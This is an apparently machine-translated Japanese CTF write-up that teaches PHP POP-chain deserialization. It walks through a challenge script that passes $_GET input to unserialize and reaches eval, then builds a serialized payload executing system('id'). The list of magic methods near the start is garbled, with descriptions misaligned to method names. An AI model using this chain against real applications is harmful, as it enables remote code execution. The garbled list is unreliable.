目次
1. ポップチェーンとは:
これは、呼び出しチェーンを構築するためによく使用される属性指向のプログラミング手法です。トピックのソース コードに含まれるさまざまなクラスを使用して、各クラスの元の無害な関数を構築し、ポップ チェーンを構築することでクラスとその関数を有機的に組み合わせ、攻撃の効果を実現します。
2 つ目は、ポップ チェーンに関する魔法の方法です。
__construct() // オブジェクトの作成時に __destruct() をトリガー
// オブジェクトの破棄時に __wakeup() を
トリガー // unserialize 使用時に __sleep() をトリガー
// Serialize 使用時に __destruct() をトリガー
// オブジェクトの破棄時にTrigger
__call() // オブジェクト コンテキストでアクセスできないメソッドを呼び出す場合は
__get() をトリガーする //アクセスできないまたは存在しない属性にアクセスする場合は __set() をトリガーする // Trigger __toString (
を設定する場合属性アクセスできないまたは存在しない文字列として使用されるときにトリガーされます__invoke() //オブジェクトが関数として呼び出されるときにトリガーされます
その中でもよく使われるのが_toStringメソッドです このクラスを文字列として処理する際に自動的に呼び出されます 例えばクラス a が定義されているとします 文字列を扱う関数と a を組み合わせるとこのメソッドが呼び出されます、 echo $ aなど
3. ポップチェーン構築例
次のコードを例として取り上げます。
<?php
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'ItS SO CREAZY';
}
public function __destruct(){
if($this->name == 'welcome_to_NKCTF'){
echo $this->arg;
}
}
}
class Happy{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
eval($shell($cmd));
}
}
class Hell0{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
echo unserialize($_GET['a']);
?>
ポップチェーン分析:
最初のクラスは次のとおりです。
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'ItS SO CREAZY';
}
public function __destruct(){
if($this->name == 'welcome_to_NKCTF'){
echo $this->arg;
}
}
}
クラス内の構築メソッドは無視でき、逆シリアル化中に実行されません。デストラクター メソッドはクラス実行の最後に自動的に実行されます。分析により、 if $this->name == 'welcome_to_NKCTF , arg変数が出力されます。arg 変数は制御可能であり、このクラスはパラメータを渡すためのポップ チェーンの先頭として使用できます。
2 番目のクラスは次のとおりです。
class Happy{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
eval($shell($cmd));
}
}
_invoke メソッドから、このクラスが関数として実行されると eval($shell($cmd)) が実行され、この関数には悪意のあるコードが挿入される可能性があり、$shell 変数と $cmd 変数の両方が制御可能であることがわかります。 、このクラスはポップ チェーンの終端として使用でき、悪意のあるコードを実行します。
3 番目のクラスは次のとおりです。
class Hell0{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
_toString メソッドを見ると、このクラスを文字列として実行すると、$function() 関数が実行され、関数名を制御できることがわかります。このクラスは、ポップ チェーンの中間部分として使用して接続できます。前と次
コンテキストのコーミング:
Welcome クラスのecho関数を使用すると、 Hell0クラスを文字列として扱うことができ、それによってHell0の_toStringメソッドを呼び出すことができます。
コードは次のように表現されます。
$a=new Welcome();
$c=new Hell0();
$a->name='welcome_to_NKCTF';
$a->arg=$c;
次に、 Hell0 クラスの$function変数をHappy クラスに割り当てることができます。これにより、Hell0 クラスが文字列として呼び出されるときに、Happy クラスの_invokeメソッドが_toStringメソッドを通じて呼び出され、悪意のあるコードが実行されます。
コードは次のように表現されます。
$b=new Happy();
$c=new Hell0();
$b->shell='system';
$b->cmd="id";
$c->func=$b;
合計のポップチェーンは次のとおりです。
$a=new Welcome();
$b=new Happy();
$c=new Hell0();
$a->name='welcome_to_NKCTF';
$a->arg=$c;
$c->func=$b;
$b->shell='system';
$b->cmd="id";
echo urlencode(serialize($a));
呼び出しプロセス: Welcome::echo -> Hell0::_toString -> Hell0::$function -> Happy::_invoke